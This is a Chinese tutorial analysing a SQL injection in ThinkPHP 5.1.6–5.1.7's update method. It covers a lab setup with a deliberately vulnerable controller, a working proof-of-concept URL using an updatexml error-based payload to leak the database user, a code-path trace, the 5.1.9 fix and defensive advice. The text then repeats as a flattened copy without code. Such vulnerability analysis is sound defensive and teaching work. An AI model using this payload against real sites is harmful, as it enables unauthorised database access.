ThinkPHP5漏洞分析之SQL注入(二)
字数 1180 2025-08-18 11:38:41

ThinkPHP5 SQL注入漏洞分析(update方法注入)

漏洞概述

本漏洞存在于ThinkPHP 5.1.6至5.1.7版本(非最新的5.1.8版本也可利用)中,是由于Mysql类的parseArrayData方法对用户输入数据过滤不严格,导致攻击者可以通过精心构造的输入实现SQL注入攻击。

影响版本

  • 5.1.6 ≤ ThinkPHP ≤ 5.1.7(5.1.8版本也可利用)

漏洞环境搭建

  1. 创建测试项目:
composer create-project --prefer-dist topthink/think tpdemo
  1. 修改composer.json文件:
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.7"
}
  1. 执行更新:
composer update
  1. 设置控制器代码(application/index/controller/Index.php):
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return 'Update success';
    }
}
  1. 配置数据库(config/database.php)并开启调试模式(config/app.php中设置app_debug和app_trace为true)

  2. 创建测试数据库:

CREATE DATABASE tpdemo;
USE tpdemo;
CREATE TABLE users(
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL
);
INSERT INTO users(id,username) VALUES(1,'mochazz');

漏洞复现

访问以下URL触发SQL注入:

http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

注意:需要开启app_debug才能看到SQL报错信息。

漏洞分析

漏洞触发流程

  1. 用户输入通过request()->get('username/a')获取,/a表示获取数组类型数据
  2. 数据传递到update方法中
  3. 经过Query->update()Connection->update()Builder->update()
  4. 在Builder类的update方法中调用parseData方法处理数据
  5. 最终进入存在漏洞的parseArrayData方法

关键漏洞点

漏洞存在于thinkphp/library/think/db/Builder.php的parseArrayData方法中:

protected function parseArrayData($data, $options)
{
    list($type, $value) = $data;
    switch ($type) {
        case 'point':
            $fun = $value[0];
            $field = $value[1];
            return $fun . '("' . $field . '")';
        // 其他case...
    }
}

攻击者可以控制$fun$field的值,导致SQL语句拼接漏洞。

SQL语句构造

最终形成的SQL语句结构:

UPDATE `users` SET `username` = $a('$b($c)') WHERE `id` = 1;

通过精心构造的参数:

  • $a = updatexml(1,concat(0x7,user(),0x7e),1)^
  • $b = 0
  • $c = 1

实际执行的SQL语句:

UPDATE `users` SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = 1

漏洞修复

官方在5.1.9版本中直接移除了parseArrayData方法,彻底解决了此问题。

防御建议

  1. 升级到ThinkPHP 5.1.9或更高版本
  2. 对所有用户输入进行严格的过滤和转义
  3. 使用参数化查询或预处理语句
  4. 生产环境中关闭调试模式(app_debug设置为false)

攻击流程图

  1. 用户提交恶意数组参数 →
  2. 框架接收并处理数组数据 →
  3. 数据传递到update方法 →
  4. 经过多层调用到达parseArrayData方法 →
  5. 恶意数据被拼接到SQL语句中 →
  6. 数据库执行恶意SQL语句 →
  7. 返回错误信息(如果开启调试模式)

通过本教学文档,您应该能够全面理解该漏洞的原理、利用方式及修复方法。在实际应用中,建议开发者始终保持框架为最新版本,并遵循安全编码规范。

ThinkPHP5 SQL注入漏洞分析(update方法注入) 漏洞概述 本漏洞存在于ThinkPHP 5.1.6至5.1.7版本(非最新的5.1.8版本也可利用)中,是由于Mysql类的parseArrayData方法对用户输入数据过滤不严格,导致攻击者可以通过精心构造的输入实现SQL注入攻击。 影响版本 5.1.6 ≤ ThinkPHP ≤ 5.1.7(5.1.8版本也可利用) 漏洞环境搭建 创建测试项目: 修改composer.json文件: 执行更新: 设置控制器代码(application/index/controller/Index.php): 配置数据库(config/database.php)并开启调试模式(config/app.php中设置app_ debug和app_ trace为true) 创建测试数据库: 漏洞复现 访问以下URL触发SQL注入: 注意 :需要开启app_ debug才能看到SQL报错信息。 漏洞分析 漏洞触发流程 用户输入通过 request()->get('username/a') 获取, /a 表示获取数组类型数据 数据传递到 update 方法中 经过 Query->update() → Connection->update() → Builder->update() 在Builder类的update方法中调用parseData方法处理数据 最终进入存在漏洞的parseArrayData方法 关键漏洞点 漏洞存在于 thinkphp/library/think/db/Builder.php 的parseArrayData方法中: 攻击者可以控制 $fun 和 $field 的值,导致SQL语句拼接漏洞。 SQL语句构造 最终形成的SQL语句结构: 通过精心构造的参数: $a = updatexml(1,concat(0x7,user(),0x7e),1)^ $b = 0 $c = 1 实际执行的SQL语句: 漏洞修复 官方在5.1.9版本中直接移除了parseArrayData方法,彻底解决了此问题。 防御建议 升级到ThinkPHP 5.1.9或更高版本 对所有用户输入进行严格的过滤和转义 使用参数化查询或预处理语句 生产环境中关闭调试模式(app_ debug设置为false) 攻击流程图 用户提交恶意数组参数 → 框架接收并处理数组数据 → 数据传递到update方法 → 经过多层调用到达parseArrayData方法 → 恶意数据被拼接到SQL语句中 → 数据库执行恶意SQL语句 → 返回错误信息(如果开启调试模式) 通过本教学文档,您应该能够全面理解该漏洞的原理、利用方式及修复方法。在实际应用中,建议开发者始终保持框架为最新版本,并遵循安全编码规范。